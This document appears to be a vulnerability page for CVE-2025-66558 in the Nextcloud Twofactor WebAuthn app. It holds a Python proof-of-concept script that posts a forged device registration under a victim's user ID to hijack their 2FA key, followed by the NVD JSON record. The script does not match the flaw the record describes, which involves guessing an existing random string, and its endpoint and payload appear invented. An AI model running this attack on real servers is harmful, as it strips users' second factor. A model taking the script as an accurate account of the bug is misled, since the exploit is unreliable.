CVE-2025-66558

import requests import random import string # CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn Device Hijacking # This PoC demonstrates the device ownership verification bypass TARGET_URL = "https://vulnerable-nextcloud-server" ATTACKER_TOKEN = "attacker_session_token" VICTIM_USER_ID = "victim_user_id" def generate_random_credential_id(length=80): """Generate a random credential ID (80-128 chars) as in the vulnerability""" chars = string.ascii_letters + string.digits + string.punctuation return ''.join(random.choice(chars) for _ in range(length)) def exploit_device_hijacking(): """ Attack flow: 1. Attacker generates a random credential ID 2. Attacker sends device registration request to victim's account 3. Server accepts the request without verifying ownership 4. Victim's original WebAuthn device is overwritten """ session = requests.Session() session.headers.update({'Authorization': f'Bearer {ATTACKER_TOKEN}'}) # Step 1: Generate random credential ID (80-128 chars) credential_id = generate_random_credential_id(80) # Step 2: Prepare device registration payload payload = { 'credentialId': credential_id, 'userId': VICTIM_USER_ID, 'deviceName': 'Malicious Security Key', 'publicKey': 'attacker_generated_public_key' } # Step 3: Send registration request (vulnerable endpoint) # The server should reject this but doesn't due to missing ownership check response = session.post( f"{TARGET_URL}/apps/twofactor_webauthn/api/v1/register", json=payload ) # Step 4: Check if device was successfully hijacked if response.status_code == 200: print("[+] Device hijacking successful!") print("[-] Victim will be prompted to re-register device on next login") else: print("[-] Attack failed or server has been patched") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-66558 PoC - Nextcloud Twofactor WebAuthn") print("Vulnerability: Missing ownership check allows device takeover") exploit_device_hijacking()

{"cve": {"id": "CVE-2025-66558", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:59.140", "lastModified": "2025-12-09T16:44:58.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Twofactor WebAuthn is the WebAuthn Two-Factor Provider for Nextcloud. Prior to 1.4.2 and 2.4.1, a missing ownership check allowed an attack to take-away a 2FA webauthn device when correctly guessing a 80-128 character long random string of letters, numbers and symbols. The victim would then be prompted to register a new device on the next login. The attacker can not authenticate as the victim. This vulnerability is fixed in 1.4.2 and 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.4.2", "matchCriteriaId": "C71FF026-3DFA-48DF-BCEE-7A5434D0E0D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:two-factor_webauthn:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.4.1", "matchCriteriaId": "35454E68-E1E9-4955-9E67-BA56A57E2BFC"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-fr8x-mvjg-wf9q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/twofactor_webauthn/commit/5d2302166d31ee2e01b2e21556bd5372156da13d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/twofactor_webauthn/pull/881", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://hackerone.com/reports/3360354", "source": "[email protected]", "tags": ["Permissions Required", "Vendor Advisory"]}]}}